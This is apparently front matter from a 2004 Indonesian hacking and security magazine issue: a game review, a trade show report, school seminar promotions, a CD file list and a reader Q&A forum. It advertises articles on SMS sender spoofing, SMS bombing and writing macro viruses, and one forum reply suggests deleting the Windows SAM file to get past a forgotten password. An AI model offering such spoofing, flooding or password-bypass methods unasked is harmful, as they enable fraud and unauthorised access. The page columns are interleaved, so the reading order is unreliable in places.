Está en la página 1de 50

NeoSoft

Rise of Nations
Expansion: Thrones and Patriots
Rise of Nations Expansion: Thrones and Patriots adalah ekspansi dari RTS game yang sudah
sukses sebelumnya: Rise of Nations. Dengan game ini anda bereksplorasi dalam sejarah selama
kurun waktu 6000 tahun, yang dalam waktu itu suatu bangsa membentuk angkatan bersenjata
yang tangguh, ekonomi yang kuat, serta menjalankan seni diplomasi yang tinggi.

• Republic. Pemerintahan dikendalikan oleh wakil-


wakil yang dipilih yang mungkin (mungkin juga
tidak) mewakili kehendak rakyat.
• Democracy. Pemerintahan yang penguasanya
dipilih oleh semua warga negara dan mewakili
kehendak rakyat.
Single User Campaign
Selain Conquor the World Campaign yang baru,
terdapat juga berbagai campaign berdasarkan
skenario sejarah:
• Alexander the Great. Alexander the Great naik
tahta setelah ayahnya dibunuh dan menemukan
dirinya dikelilingi oleh musuh.
• Napoleon. Tampilnya pemimpin muda di jaman
Prancis yang bergolak setelah Revolusi.
• The New World. Benturan kebudayaan di Dunia
Baru, antara orang Eropa menghadapi Indian
serta bekas penguasanya, kerajaan-kerajaan di
P ada ekspansi ini diperkenalkan enam bangsa
tambahan dalam game, empat campaign unik Eropa.
untuk permainan single player, serta jenis-jenis peme- • The Cold War. Kondisi yang terbentuk dari abu
rintahan. Selama bermain anda dapat melewati dela- sisa-sisa Perang Dunia II. Amerika Serikat dan Uni
pan jaman dalam sejarah, mulai dari jaman kuno Soviet berlomba menanamkan pengaruhnya di
sampai abad informasi. segenap penjuru dunia.
Jenis-jenis Nation
Sistem Minimum
Keenam bangsa (nation) tambahan yang disertakan Windows 98/ME/2000/XP, DirectX 8.1
adalah American, Lakota, Iroquouis, Persians, Indian, 500 MHz Pentium III/Athlon
dan Dutch yang masing-masing mempunyai karak- 128 MB RAM
16 MB videocard
teristik sendiri, seperti inovasi pada American dan 750 MB hard disk space
kecanggihan berekonomi pada Dutch. CD ROM drive 8x
Retail version dari Rise of Nations
Jenis-jenis Pemerintahan
Jenis pemerintahan memberikan kelebihan dalam
hal militer maupun non-militer. Anda dapat mem-
bentuk senat setelah anda mencapai abad klasik
yang harus dibangun dalam batas kota.
• Despotism. Pemerintahan dikendalikan oleh
seorang tirani dengan kekuasaan absolut.
• Monarchy. Pemerintahan dikendalikan oleh
suatu penguasa berdasarkan keturunan.
• Capitalism. Pemerintahan yang produksi dan
distribusi barangnya ditentukan oleh kekuatan
pasar.
• Socialism. Pemerintahan yang produksi dan
distribusi barangnya dikendalikan oleh
persamaan dan bukan oleh kekuatan pasar.
HomePage
Harga NeoTek + CD:

Salam!
Rp20.000,- (P. Jawa)
Rp22.000,- (Luar P. Jawa)

N EOTE K
Dunia Teknologi Baru

Utak-atik Ponsel:
SMS dan GSM Hacking
Anatomi suatu serangan hacking

Footprinting

Scanning

Enumeration

Gaining Access

Escalating
• Anak-anak pun kini sudah mainan ponsel, terutama untuk meyakinkan orang tua
Privilege tertang keberadaan anaknya. Artinya anak-anak kini sudah melek teknologi sejak dini.

onsel sudah menjadi kebutuhan sehari-hari, dan lebih


Pilfering P banyak orang memiliki ponsel dibandingkan komputer.
Ponsel mempunyai kemampuan transmisi data digital
seperti halnya SMS, serta koneksi ke internet lewat CSD atau-
pun GPRS.
Covering Tracks Kelebihan dan kenyamanan ini juga yang akhirnya membawa
risiko dalam pemakaian ponsel. Ponsel anda dapat dihujani SMS
tidak diundang seperti layaknya spam pada email, data anda bisa
Creating dicuri, serta kini sudah ada virus yang beraksi pada ponsel.
Backdoors Kenali rahasia ponsel anda, khususnya untuk perlindungan diri
sendiri dari para cracker yang bermaksud jahat.
Denial of Redaksi
Service redaksi@neotek.co.id

Bagaimana menghubungi N EOTEK?


Lengkapi pengetahuan hacking
dan PC security anda dengan KONTRIBUSI ARTIKEL
berlangganan majalah NeoTek: redaksi@neotek.co.id ADMINISTRASI IKLAN
SURAT PEMBACA Tel. 021-5481457 Fax. 021-5329041
Hubungi support@neotek.co.id SIRKULASI NEOTEK
KRISHNAdiSTRIBUTOR Tel. 021-5481457
WEBMASTER
Tel. (021) 5835 0080 webmaster@neotek.co.id ALAMAT REDAKSI
HP. (0816) 1187 111 (Boedi) 4 Cairnhill Rise
PEMASARAN
email: Hedhi Sabaruddin, 0812-1891827 #05-01 The Cairnhill
Singapore 229740
krishnadistributor@neotek.co.id CHATROOM DI DALNET Telp. +65-67386482
Kontak: Boedi Krishnadi #neoteker email: kosasih@indo.net.id
MILIS PARA NEOTEKER
http://groups.yahoo.com/group/majalahneotek

Vol. IV No. 08 NeoTek 1


Daftar Isi

Daftar Isi NeoTek Vol. IV No. 8


FOKUS VOL. IV NO. 8
NeoStyle
26 Windows Media Server
Bandingkan dengan Darwin
MENGUAK RAHASIA PONSEL Streaming Server yang dibahas sebe-
lumnya untuk Radio dan TV Internet.
SMS dan GSM Hacking
Format Data SMS 29 Windows Media
Encoder
NeoStart 16 Kita dalami lebih lanjut for- Fasilitas Radio dan TV Internet yang
mat data SMS dan kenali bagaimana gratis dari Microsoft. Instalasi dan pe-
suatu SMS dikirim dan diterima di makaiannya sangat mudah.

9 SMS Gratis Y!
Asalkan punya akses Internet,
pihak terkirim.

maka kirim SMS bisa gratis, meman-


faatkan fasilitas Yahoo! Messenger.
18 SMS Fake Sender
Teknik mengelabui penerima
SMS yang dapat disalahgunakan untuk

10 Menguak Rahasia Ponsel


Kenali ponsel anda sebagai
menipu ataupun intimidasi.

45 Photoshop: Efek
Line dengan Pattern
suatu modem dan pelajari bahasa
komunikasi modem yang universal ini
20 SMS Bombing
Kalau pada network hacking Melanjutkan bahasan Photoshop
lewat PC anda sendiri. ada Denial of Service, maka pada GSM dalam memberi efek pada foto anda.
ada SMS bombing!
12 SMS, PDU, AT Command
46 Efek Square dengan
Bagaimana hubungan antara
SMS, format teks dan PDU, serta AT 24 Mengenal SMS Center
Artikel pelengkap bahasan SMS
Fungsi Pattern
Fitur lain untuk diterapkan pada foto
command yang lazim pada modem? Hacking. Perlu apabila anda bermkinat
anda menggunakan Photoshop.
Inilah dasar dari SMS Hacking. belajar lebih lanjut.

47 Efek Blur pada Foto


Situs NeoTek www.neotek.co.id
Juga artikel Photoshop untuk
membuat gambar statis tampak dina-
Jadikan situs NeoTek sebagai pangkalan Anda berselancar mis dengan efek blur.

Link Langsung Layanan Rupa-rupa NeoTek


Kunjungi situs-situs yang dibahas di Channel #neoteker di Dalnet
majalah NeoTek dengan sekali klik Ngobrol ramai-ramai sesama NeoTeker
lewat situs NeoTek.
Web Chat Room
Kini tidak usah jauh-jauh untuk ngobrol
NeoTek versi PDF langsung dengan sesama NeoTeker
Kehabisan NeoTek di kota Anda?
Dapatkan saja versi PDF-nya. Gratis! Mailing List
Ini yang paling ramai. Segera ikutan
berbagi pengalaman berinternet!
Download
Tersedia juga download di situs NeoTeker Official Portal
NeoTek selain dari situs aslinya http://www.neoteker.or.id
Situs komunikasi antar Neoteker.
Neoteker Internet Radio
http://dj.neoteker.or.id:8000

2 NeoTek Vol. IV No. 08


Daftar Isi

Internet Paket Radio:


NeoTekno 40 Instalasi Gateway di
Linux
Throne and Patriots
Onno W. Purbo berbagi ‘ilmu simpan-
annya’ yaitu bagaimana berinternet 0 Melanjutkan keberhasilan
walaupun sarana telepon tidak ter- Rise of Nations dengan
sedia. Bukan menggunakan wi-fi yang tambahan peradaban dan
selama ini dipromosikannya, melain- skenario sejarah.
kan ilmu yang ‘lebih kuno’ yaitu
memanfaatkan radio amatir untuk
berinternet. Koneksi narrow band
buatan sendiri ini sudah lumayan
NeoProfil
32 Virus dan Worm
Pahami perkembangan virus
untuk email dan browsing sederhana
3
Editorial Office
4 Cairnhill Rise
dan worm dari sejarahnya, sejarah #05-01 The Cairnhill
kreativitas yang tidak terarah sehingga Singapore 229740
menjadi tindakan yang dikategorikan Telp. +65-67386482
kriminal oleh para korban, namun
bukan demikian dari sudut pandang Business Office
kebebasan berkreasi. Gedung Cahaya Palmerah 503
Jl. Palmerah Utara III No. 9
Jakarta 11480
Membuat Sendiri
35 Virus Macro
Telp. 021-5481457
Fax. 021-5329041
Macro pada Microsoft Word pada da-
sarnya adalah bahasa pemrograman Pemimpin Umum
Visual Basic, jadi tidak heran apabila Fachri Said
virus pun dapat dibentuk dari macro.
Pemimpin Redaksi
Kosasih Iskandarsjah
Membuat Penangkal
38 Virus Macro
Redaktur Ahli
Onno W. Purbo
Jangan cuma bisa merusak saja dengan
Michael S. Sunggiardi
membuat virus macro. Justru pengeta-
huan yang sama dapat digunakan Pemimpin Usaha
Fahmi Oemar
untuk penangkal virus macro. Jadi
Dadang Krisdayadi
tinggal anda sendiri yang memilih mau
berdiri di sisi mana. Sisi black hat atau Redaktur Pelaksana
sisi white hat. Ilmu security dan hacking MA Rody Candera
pada dasarnya netral saja. Sekretaris Redaksi
Marni
NeoRagam NeoTek Vol. IV No. 09 Webmaster
Klak Klik Supriyanto
4 Game:
Bahaya Email dan Spam
Spam atau ‘email tidak diundang’ se-
Sirkulasi
Rise of Nations Expansion Hedhi Sabaruddin
Thrones and Patriots karang ini sudah meraja-lela dan men-
Taipei Computer Show jadi masalah kelas dunia. Tetapi selain Adm. Langganan
29 Juli - 2 Agustus 2004 menjengkelkan spam juga dapat KRISHNAdiSTRIBUTOR
membawa bahaya yang bukan saja Iklan dan Promosi
5 Taipei Computer Show
29 Juli - 2 Agustus 2004
terhadap kesehatan komputer anda
(virus lewat email) tetapi juga bahaya
Dwi Hastono, G. Widianto
NeoTek masuk sekolah terhadap keuangan anda (phising), Keuangan
dan bahkan bahaya terhadap jiwa Aswan Bakri
Kualitas Pendidikan:
6 Mulai dari Sekolah Dasar
anda (nigerian mail).

Linux Computer Forensics


Bank
Bank BNI
Melanjutkan bahasan computer a.n. PT NeoTek Maju Mandiri
Daftar Isi CD NeoTek
7 Perl sebagai tool untuk SMS
forensics secara umum, kali ini
NeoTek membahas tata laksana
No. rekening 070.001709720.001
Bank BCA Matraman
dan GSM Hacking computer forensics pada Linux.
(khusus untuk langganan)
a.n. Boedi Krishnadi
No. rekening 342-239-1611

Vol. IV No. 08 NeoTek 3


NeoRagam

Klak Klik TAIPEI COMPUTER SHOW 29 JULI - 2 AGUSTUS 2004


ari pertama NeoTek
GAME BULAN INI H di Taipei diawali de-
Rise of Nations ngan insiden kecil yang
Thrones and Patriots
hampir saja mengakibatkan
98,85 MB sopir taksi yang ditum-
pangi oleh NeoTek baku
hantam dengan sopir bus.
Mungkin perilaku jelek
yang ditiru oleh para ang-
gota parlemen.
NeoTek berkesempatan
mengunjungi Taipei
Computer Show pada hari
kedua dengan membayar
tiket masuk sebesar NT$
200 (sekitar Rp50.000, sua-
M erupakan ekspansi
dari RTS game sebe-
tu jumlah yang besar di-
Pameran diselenggarakan di World Trade Center Taipei, di sebelah
lumnya dari Microsoft: Rise banding dengan ukuran kita Taipei 101, yang akan menjadi gedung tertinggi di dunia. Untuk ma-
of Nations, Thrones and yang selalu gratis. suk ke pameran, anda harus membeli tiket senilai NT$200 (sekitar
Patriots menyediakan Consumer Multimedia Rp50.000,-)
enam macam tambahan
peradaban, lebih dari 20 Yang medominasi pameran Kini sudah tidak asing lagi AC di pameran komputer,
unit baru, wonder, serta kali ini adalah segala hal melihat deretan produk tetapi siapa tahu kelak?
jenis-jenis pemerintahan. yang berhubungan dengan yang dulu dikategorikan
multimedia konsumen, Produk Bisnis
Untuk single player ter- sebagai ‘barang elektro-
mulai dari portable music nika’ rumah tangga camera Software bisnis yang sedang
dapat berbagai campaign player, digital camera, digi-
yang membuatnya mirip dalam pameran komputer. trend adalah aplikasi bisnis
game sebelumnya dari
tal video camera, sampai Memang kita belum menggunakan web, khusus-
Microsoft, Age of Empire. digital storage dan player. sampai melihat kulkas dan nya ERP on the Web, suatu
trend yang ditimbulkan dari
Campaign yang disediakan semakin meluasnya broad-
di antaranya: band dan semakin matang-
nya teknologi enkripsi. Lagi
pula Microsoft kini sedang
mengobral program sertifi-
kasinya dengan mendanai
panel evaluator terhadap soft-
ware yang memohon serti-
fikasi dari Microsoft.
Produk Khusus
Yang justru menarik untuk
disimak adalah produk-
• Alexander the Great (ada produk khusus yang hanya
pada Trial Version) ada di beberapa stand saja,
seperti desktop computer
dengan micfro form factor
(harga antara NT$6.888
sampai NT$39.999) atau
peralatan riset yang meng-
gabungkan mikroskop
dengan komputer.
Atmosfer Pameran
Khas pameran di Taipei
adalah gadis-gadis sexy
• The New World
yang membagi-bagikan
• Napoleon hadiah dan membawakan
• The Cold War kuis, selain promosi ber-
jalan membawa poster se-
Win 98/ME/2000/XP, DirectX 8.1 perti layaknya sedang
500 MHz Pentium III/Athlon demo politik.
128 MB RAM
16 MB videocard Komputer dengan micro form
750 MB hard disk space
8x CD ROM drive factor dan stand Pentax dengan
Retail version Rise of Nations gadis-gadis sexy-nya yang mem-
bawakan quiz serta obral
souvenir.

4 NeoTek Vol. IV No. 08


NeoRagam

TAIPEI COMPUTER SHOW 29 JULI - 2 AGUSTUS 2004


emang Taiwan adalah Semurah-murahnya cam- NeoTek malah tertarik de- Multimedia Projector
M pusatnya industri me- corder digital, paling tidak ngan micro DVD player Yang juga akan semakin
nengah elektronika. Banyak masih sekitar 4 juta rupiah yang diberi harga yang ramai adalah multimedia
sekali merk dan produk yang (model Canon GR-D33 sama. Lumayan untuk hi- projector yang dulu hanya
tidak banyak kita kenal di dengan media MiniDV), buran selama di perjalanan. mampu dimiliki oleh per-
Indonesia maupun Singa- tetapi kini video camera Digital Album usahaan-perusahaan besar.
pore yang menjadi daya ta- dapat juga menggunakan
rik sendiri pada Taipei Com- SD card sepert halnya Transcend yang dikenal de- Multimedia projector de-
puter Show. Microtek MV300 yang ngan produk-produk me- ngan teknologi DLP di-
diberi banderol NT$6990 mory-nya (RAM chip, arahkan ke pasar rumah
Camcorder Murah Meriah Flash drive, USB external tangga dan keseimbangan
(sekitar 1,8 juta rupiah).
Sudah bukan rahasia lagi ka- hard disk, maupun card harga yang akan dicapai
lau shooting video menjadi Memang resolusinya ma- reader) membawakan ber- kelihatannya sekitar 8 juta
hobby baru banyak orang sih agak rendah (0,6 mega- bagai portable storage un- rupiah.Untuk kelas ‘bisnis’
sejalan dengan fotografi. Ini pixel) dibandingkan cam- tuk digital fotografi, yang
corder MiniDV yang pa- tentu masih ada yang
semua dengan semakin ter- ukurannya semakin kecil harganya dua atau tiga kali
jangkaunya kamera maupun ling murah sekalipun yang namun kapasitas yang se-
sudah 0,8 megapixel. harga ‘rumah tangga.’
media penyimpanannya. makin besar.

Microtek Portable DVD Player dan Microtek Video Camera Recorder


dengan media penyimpanan SD card.

NEOTEK MASUK SEKOLAH


ntuk memahami NeoTek NeoTek Masuk Sekolah pengetahuan hacking dan pelajarnya berlangganan NeoTek.
U memang diperlukan Mengingat umur potensial security dapat tersebar luas, Jadi selain lebih murah dan
bimbingaa. Membacanya tanpa untuk belajar security dan maka NeoTek selain tetap me- tanpa ongkos kirim, dibahas
bimbingan hanya akan meng- hacking adalah masa remaja nyediakan keseluruhan juga cara memahami artikel
akibatkan kebingungan. maka NeoTek juga akan me- majalah dalam format PDF di yang ditulis di NeoTek.
Pendidikan Konsumen ngembangkan seminar gratis situs www.neotek.co.id (hanya Pada awalnya tim redaksi
ke sekolah-sekolah, khusus- disediakan terlambat 2 bulan), NeoTek yang akan menjadi
NeoTek bekerja sama dengan juga akan menawarkan harga
toko-toko buku Gramedia se- nya SMU, SMK, dan SLTP pembicara, namun selanjut-
khusus untuk para pelajar yang nya para pelajar itu sendiri
cara reguler mengadakan se- Diharapkan dari ‘bingung’ berlangganan lewat sekolah.
minar gratis di berbagai lokasi para remaja ini akan ‘terang’ yang akan menjadi pembicara
toko buku Gramedia, yang wawasannya mengenai apa itu Selain tanpa dibebani ongkos untuk kawan-kawannya
untuk pertama kali ini di wi- security dan hacking, serta kirim, harga berlangganan sebagai laporan kegiatan studi
layah Jabotabek. mendapatkan pemahaman lewat sekolah akan jauh lebih security dan hacking yang
yang benar perbedaan antara murah. Diperkirakan hanya diadakannya sendiri.
Program ‘pendidikan’ konsu- Rp15.000,- dibandingkan har-
men ini akan bermuara pada kreatif dengan sedikit nakal Hacking bukan lagi jadi kata
dibandingkan cyber crime. ga di toko buku yang Rp20.000,- misterius.
semakin banyaknya yang di-
bekali dasar-dasar security and Para pelajar diharapkan akan Tentunya harus dijamin Sekolah anda berminat dili-
hacking agar dapat memahami menjadi bagian dari masyara- bahwa NeoTek harga khusus batkan dalam kegiatan semi-
apa yang dibahas NeoTek, ser- kat produktif dan bukan seke- ini jatuh langsung ke tangan nar gratis ini? Para guru, ke-
ta dapat mengembangkan dar bagian dari masyarakat konsumen langsung agar pala sekolah, maupun OSIS,
sendiri pengetahuannya dari pengkonsumsi teknologi. tidak mengganggu pasaran silakan hubungi MA Rody
sumber-sumber lain. umum di toko buku. Candera lewat email:
Penawaran Khusus
Jadi sering-sering lihat jadwal Selain itu, secara berkala akan odyxb@bogor.net
Mengingat terbatasnya daya diadakan seminar gratis di
di toko buku Gramedia terdekat. beli para pelajar, maka agar Sampai ketemu di sekolah!
lingkungan sekolah yang para

Vol. IV No. 08 NeoTek 5


NeoRagam

KUALITAS PENDIDIKAN: MULAI DARI SEKOLAH DASAR


pabila NeoTek masuk ke maraknya pemakaian kompu-
A sekolah-sekolah mene- ter sejak usia dini adalah nya-
ngah dan kampus untuk mening- ris tidak adanya perhatian
katkan mutu pelajar dan maha- terhadap elektronika serta
siswa dalam hal teknologi infor- selanjutnya mikrokontroler
masi serta membentuk sikap dan mikroprosesor yang me-
kreatif dan bertanggung jawab rupakan latar belakang tekno-
(walau sedikit nakal), maka lain logi hardware komputer.
halnya dengan sekolah dasar. Kini sudah tidak ada majalah
Membahas security dan hacking dalam Bahasa Indonesia yang
mungkin masih terlalu awal un- khusus membahas elektronika
tuk para siswa sekolah dasar. seperti yang ada sekitar 20
Untuk itulah rekanan NeoTek tahun yang lalu.
di Surabaya menyediakan jasa Untuk mengisi kekosongan ini,
konsultasi pendidikan untuk dibawakan kit elektronika
sekolah-sekolah dasar yang tanpa solder dan dasar-dasar
mencakup peningkatan kuali- robotika.
fikasi guru serta menyediakan
kegiatan bermanfaat untuk para Aspek teknologi lain yang
siswa dalam bidang bahasa, seni juga dibahas adalah ilmu
budaya, maupun teknologi. kelautan dan dirgantara yang
diwujudkan dalam kegiatan Kit elektronika tanpa solder yang cocok untuk siswa SD. Belajar
Peningkatan Bahasa membuat model. elektronika dengan aman.
Para siswa diberikan pelatihan Kit Elektronika Tanpa Solder
singkat jurnalistik yang dibe- mikrokontroler yang dapat kapal laut dan pesawat udara).
rikan oleh para wartawan na- Teknologi pendidikan ini me- memproses data dan mengambil Model yang presisi secara pro-
sional dan selanjutnya kete- mungkinkan siswa Sekolah tindakan sendiri yang dikerjakan porsional sangat penting dalam
rampilan baru ini diasah oleh Dasar merakit rangkaian elek- oleh bagian mekaniknya. mempelajari ilmu-ilmu ini
para anak didik lewat majalah tronika tanpa takut terluka. Kit robotika sudah lazim untuk dengan benar, dan itulah yang
sekolah yang dibantu mana- Hal ini dimungkinkan dengan anak-anak SD dan SLTP, di disediakan.
jemen pendidikannya. penggunaan spiral baja seba- antaranya dari produsen mainan
gai pengganti timah solder. Berminat?
Peningkatan Seni Budaya terkemuka di dunia, Lego yang
Bisa dibayangkan kalau spiral menyajikan Lego Mindstorm. Sekolah anda berminat untuk
Sementara ini peningkatan baja ini lebih mahal dibanding mengikuti program pengayaan
seni budaya dilakukan lewat Sayang Lego Mindstrom masih kurikulum seperti yang telah
komponen elektronikanya terlalu mahal, dan untuk itulah
aplikasi teknologi sesuai sendiri, tetapi kit-kit elektro- diikuti oleh lima sekolah dasar
dengan potensi daerah, yaitu disediakan kit robotika yang di Surabaya ini?
nika ini semuanya dapat di- walau murah-meriah, tetap
membuat kertas seni dari bongkar pasang dan dipakai
bahan-bahan yang ada. mempunyai fungsi-fungsi se- Hubungi:
berkali-kali, cocok untuk labo- bagai mana disediakan oleh GIGA
Hasil karya anak-anak ini ratorium elektronika anak-anak. Lego Minstrom. up. Tatik Handayani
malah sudah diincar para Robotika Dasar Telp. (031)8052248
pengusaha produk seni dari Kelautan dan Dirgantara
HP. (817)9972742
mancanegara, khususnya Suatu robot Membuat model kapal laut serta email: tabloidgiga@mailcity.com
Australia. pada dasarnya aeromodelling adalah dasar NeoTek
memiliki memahami konsep fluida (air up MA Rody Candera
Peningkatan Teknologi sensor, otak maupun udara) serta penerapan Telp. (021)8730389
Salah satu kelemahan dari berupa teknologi terhadap fluida (yaitu HP. (0812)8049030
email: odyxb@bogor.net

Kunjungi www.sdnpuja2.net untuk melihat situs dari SD di Seperti inilah model kapal laut Titanic yang dibentuk secara ber-
Surabaya yang sudah mengikuti program pengayaan kurikulum kelompok oleh para siswa SD yang belajar ilmu kelautan

6 NeoTek Vol. IV No. 07


NeoRagam

daftar isi cd neotek


YAHOO! MESSENGER WINDOWS MEDIA ENCODER
YM 6 Windows msgr6suite.exe WMAudio 9 Lossless PCM wmal2pcm_setup.exe
YM Debian Linux ymessenger_1.0.4_1_i386.deb WMAudio 9 ProfChanMask wmcmesetup.exe
YM RedHat 6.x rh6.ymessenger-1.0.4-1.i386.rpm WMCapture 9 Series wm9capture_setup.exe
YM RedHat 7.x rh7.ymessenger-1.0.4-1.i386.rpm WMEncoder 7.1 wmencoder71.exe
YM RedHat 8.0 rh8.ymessenger-1.0.4-1.i386.rpm WMEncoder 9 WMEncoder.exe
YM RedHat 9.0 rh9.ymessenger-1.0.4-1.i386.rpm WMEncoding 8 Utility wm8eutil_setup.exe
YM FreeBSD fbsd4.ymessenger.tgz WMMono to Multichannel wavavimux_setup.exe
YM MacOS 8.9 ymsgr_2.5.3-ppc_install.bin WINDOWS MEDIA SERVER
YM MacOSX ymsgr_2.5.3-osx_install.bin WMLoad Service wmloadsetup.exe
YM Palm OS messenger.zip WMService 4.1 Addin wmsaddin.exe
YM Poxket PC ymsgr-ppc.exe WMService 4.1 for NT 4.0 wmserver.exe
PDU DAN AT COMMANDS PROYEK
PDU Spy pduspy.zip Perl scripts email2sms.pl
Telix for Windows tfw115d1.zip (disk 1) google.pl
tfw115d2.zip (disk 2) sakjebole.pl
Telix for DOS telix351.zip viewsource.pl
telix351-h.zip yepcell.pl
Minicom Debian minicom_2[1].1-4.woody.1_i386.deb Virus makro lampiran code virus macro.txt
Minicom RedHat source minicom_2[1].1-1.src Penangkal virus makro Penangkal virus macro.txt
Minicom RedHat 7.3 minicom_2[1].1-1-rh7.3-i.386.rpm User form penangkal v. makro User form penangkal virus macro.txt
Minicom RedHat 8.0 minicom_2[1].1-1-rh8.0-i.386.rpm
Minicom Redhat 9 minicom_2[1].1-1-rh9-i.386.rpm INTERNET RADIO: LINUX PACKET ENGINE
AX25 Projects libax25-o.o.11.tar.gz
DADA’S PERL LAB (WINDOWS) ax25-tools-0.0.8.tar.gz
Perl Win32 API Win32-API-0.31.tar.gz ax25-apps-0.0.6.tar.gz
Perl Win32 Clipboard Win32-Clipboard-0.51.tar.gz AX25 Utilities ax25-utils-2.1.42a-3.i386.rpm
Perl Win32 Console W32Console-0.03.zip ax25-utils-2.1.42a-3.src
Perl Win32 GUI Win32-GUI-0.0.665.tar.gz
Perl Win32 Internet Win32Internet-0.08.zip INTERNET RADIO: WINDOWS PACKET ENGINE
Perl Win32 Shortcut Win32Shortcut-0.03.zip AGW Packet Engine agwdial.zip
Perl Win32 Sound W32Sound-0.45.zip agwpe.zip
drivers.zip
ACTIVE PERL tcpip.zip
Active Perl Windows Exe ActivePerl-5.4.8.810-MSWin32-x86.exe AGW Tracker tracker_setup.zip
Active Perl Windows Zip ActivePerl-5.4.8.810-MSWin32-x86.zip tracker_update.zip
Active Perl RedHat ActivePerl-5.4.8.810-i686-linux.rpm Packet Engine Pro pepro_setup.zip
Active Perl Debian ActivePerl-5.4.8.810-i686-linux.deb pepro_update.zip
Active Perl Linux ActivePerl-5.4.8.810-i686-linux.tar.gz pehelp.zip
SMS FAKE SENDER AGW BBS agwbbs.zip
Bigfoot Comm. Manager 2.0 setup.exe AGW Cluster agwclust.zip
SMS Xtender Java SMSXtender-2.6.2.zip AGW Monitor agwmonitor.zip
SMS Xtender Symbian OS smsxtender-3.1.sis agwmonitorTcp.zip
KIOSS SMSMe!!! setup.KIOSS-SMS.Me!!!.exe AGW Term agwterm.zip
GRAPHICS agwtermTcp.zip
Adobe Photoshop CS setup.exe APRS Digi agwuidigi.zip
Adobe Photoshop Album 2 SE psa2se_us.zip Digipeater agwdigi.zip
PhotoStation 4.5 Trial FotoStation45WinInt.exe Digiplex digplxo73.exe
Tf2AGW tf2agw18.zip
WINDOWS MEDIA PLAYER Utilities agwgmt.zip
Personal License Update drmwizard.exe develop.zip
WMPlayer 9 Win98SEME2K MPSetup.exe LoopbackInstaller.zip
WMPlayer 9 XP MPSetupXP.exe ntautologon.zip
WMPlayer 10 XP beta MP10Setup.exe W95ws2setup.exe
WMPlayer 6.4 Win95NT mpfull.exe GAME
WMPlayer 7.1 Win98 mp71.exe Rise of Nations Expansion RiseOfNationsXTrial.exe
WMPlayer Plugin Netscape wmpplugin.exe

PERL SEBAGAI TOOL UNTUK SMS DAN GSM HACKING


ahasan utama NeoTek kali ini, SMS SMS dapat dikirim dalam format teks atau- katalog software yang memungkinkan anda
B dan GSM Hacking banyak menggu- pun format PDU. Konversi PDU ke teks menyertakan informasi mengenai foto
nakan Perl interpreter. Untuk itu pada CD atau sebaliknya dapat menggunakan soft- yang anda ambil ke dalamnya.
NeoTek kali ini disediakan Active Perl, baik ware khusus, yaitu PDU Spy. Untuk keperluan yang lebih sederhana da-
untuk sistem operasi Windows maupun Radio dan TV Internet pat gunakan Adobe Photoshop Album 2 SE,
Linux. sedangkan untuk editing foto, silakan coba
Melanjutkan bahasan sebelumnya tentang
Memanfaatkan handphone sebagai modem Radio dan TV Internet, kali ini dibahas Adobe Photoshop CS.
mengharuskan adanya pemahaman terha- Windows Media Encoder dan Windows Internet Radio Paket
dap memahami AT commands. Untuk itu Media Server
selain dapat menggunakan hyper terminal Terakhir, ikuti bahasan Onno W. Purbo
yang sudah built-in pada Windows dapat Graphics tentang menyelenggarakan akses internet
juga digunakan Telix (Windows atau DOS) Telaah PhotoStation 4.5 yang banyak melalui radio amatir. Software-nya baik
ataupun minicom (untuk berbagai versi digunakan oleh media massa dunia. Suatu untuk Linux maupun Windows tersedia
Unix dan Linux). dalam CD NeoTek kali ini.

Vol. IV No. 07 NeoTek 7


Inbox

NmN
Neoteker menjawab Neoteker
Forum ini dimaksudkan sebagai bentuk offline dari mailing list
NeoTek di http://groups.yahoo.com/group/majalahneotek.

T: Posted April 29 4. Silakan coba masukkan perti di atas hapus file SAM J: Posted May 17
Gimana ya cara ngilangin vi- disket baru (jgn disket yg pada direktori config dan re- Sebaiknya anda gunakan ka-
rus di floppy, setiap mema- udah kena virus), cek dan start komputer. Semoga bel consul dari router terse-
sukkan disket yang baru lang- ricek apakah masih terjadi bermanfaat..... but, gunakan hyperterminal.
sung kena virus, dan virus- pembentukan file virusnya? Rezki Nah dari consul tersebut,
nya itu MY LOVE extention Odyxboy Rezki@e-solusi.com akan kelihatan yang mau di
word, tidak bisa di delete, se- odyxboy@yahoo.com conf itu apakah serial atau eth
tiap di del maka virus itu pasti T: Posted May 17 dari router tersebut.
T: Posted May 11 saya punya mainboard
kembali lagi, anti virus pc Jhon
cilin tidak menetek, gimana salam, apa ada cara untuk GFXcel vga onboardnya arly@speed.net.id
ya caranya? mengetahui password di terdetect sis 630\730 tapi
windows xp?? teman saya saat saya install drivernya T: Posted May 23
Gigik Nurbaskoro
kelupaan passwordnya, seka- ..layar tdk berubah masih Mohon bagi artikel dong,
combro45@yahoo.com
rang nggak bisa masuk win- tetap 16 color , rencana sa- Bisa bagi artikel yang lama-
J: Posted April 29 dows... :))) tolong dong kalo ya pengen mematikan vga lama untuk belajar sayakan
Ini virus lama, menjangkiti ada yang tau caranya.. onboardnya biar saya bisa baru, bisa dikirim ke
setiap disket yg dimasukkan makasih. pasang VGA PCI, sayang- emailku?
ke floppy, tetapi bisa juga Don Cavello nya manual booknya hilang Vico Cara
menjangkiti direktori C:\My m26400069@john.petra.ac.id entah kemana . ztudiz@yahoo.com.au
Documents. Virus ini akan Bagaimana cara mematikan-
membuat file yg pertama J: Posted May 11 nya ?? mohon sarannya J: Posted May 23
dengan nama "My Heart" DC> salam, dong ????? Artikel apa? Kalo mau artikel
di disket ketika dimasukkan DC> apa ada cara untuk me- Md
artikel lama di neotek, main-
ke floppy, file tersebut meng- ngetahui password di windows khumaidy@cbn.net.id
main dong ke neotek.co.id
gunakan icon "MS Word" xp?? teman disana kamu bisa dapetin se-
padahal sebenarnya itu DC> saya kelupaan password- J: Posted May 17 mua file pdf majalah neotek
bukan file "*.doc" dimana nya, sekarang nggak bisa ma- masuk ke bios---> cari set- edisi lengkap dari tahun per-
sesungguhnya file tersebut suk windows... tingan vga on board (biasa- tama hingga ke tiga. Serta be-
bekstensi "*.exe" DC> :))) nya di peripheral (or some- berapa artikel dari majalah-
Jika disket yg sama dimasuk- DC> tolong dong kalo ada thing sound like that!!) pi- majalah neotek edisi baru.
kan berulang-ulang, maka yang tau caranya.. lih disable. Trus cari option Kalo mau berlajar komputer
file tersebut akan berubah- DC> makasih. dimana check pertama untuk beneran, cari artikelnya (pdf
ubah namanya. Untuk me- Anda memakai system par- vga adalah PCI bukan AGP. juga, kamu butuh acrobat
ngatasinya (ini cara kuno se- tisi apa? NTFS atau FAT32? It's all about BIOS man..... reader buat bacanya) jalan-
moga membantu): Kalo make FAT32, boot kom- jalan ke ilmukomputer.com
Subiakto cakrawardaya (situs e-learnimg gratisan ter-
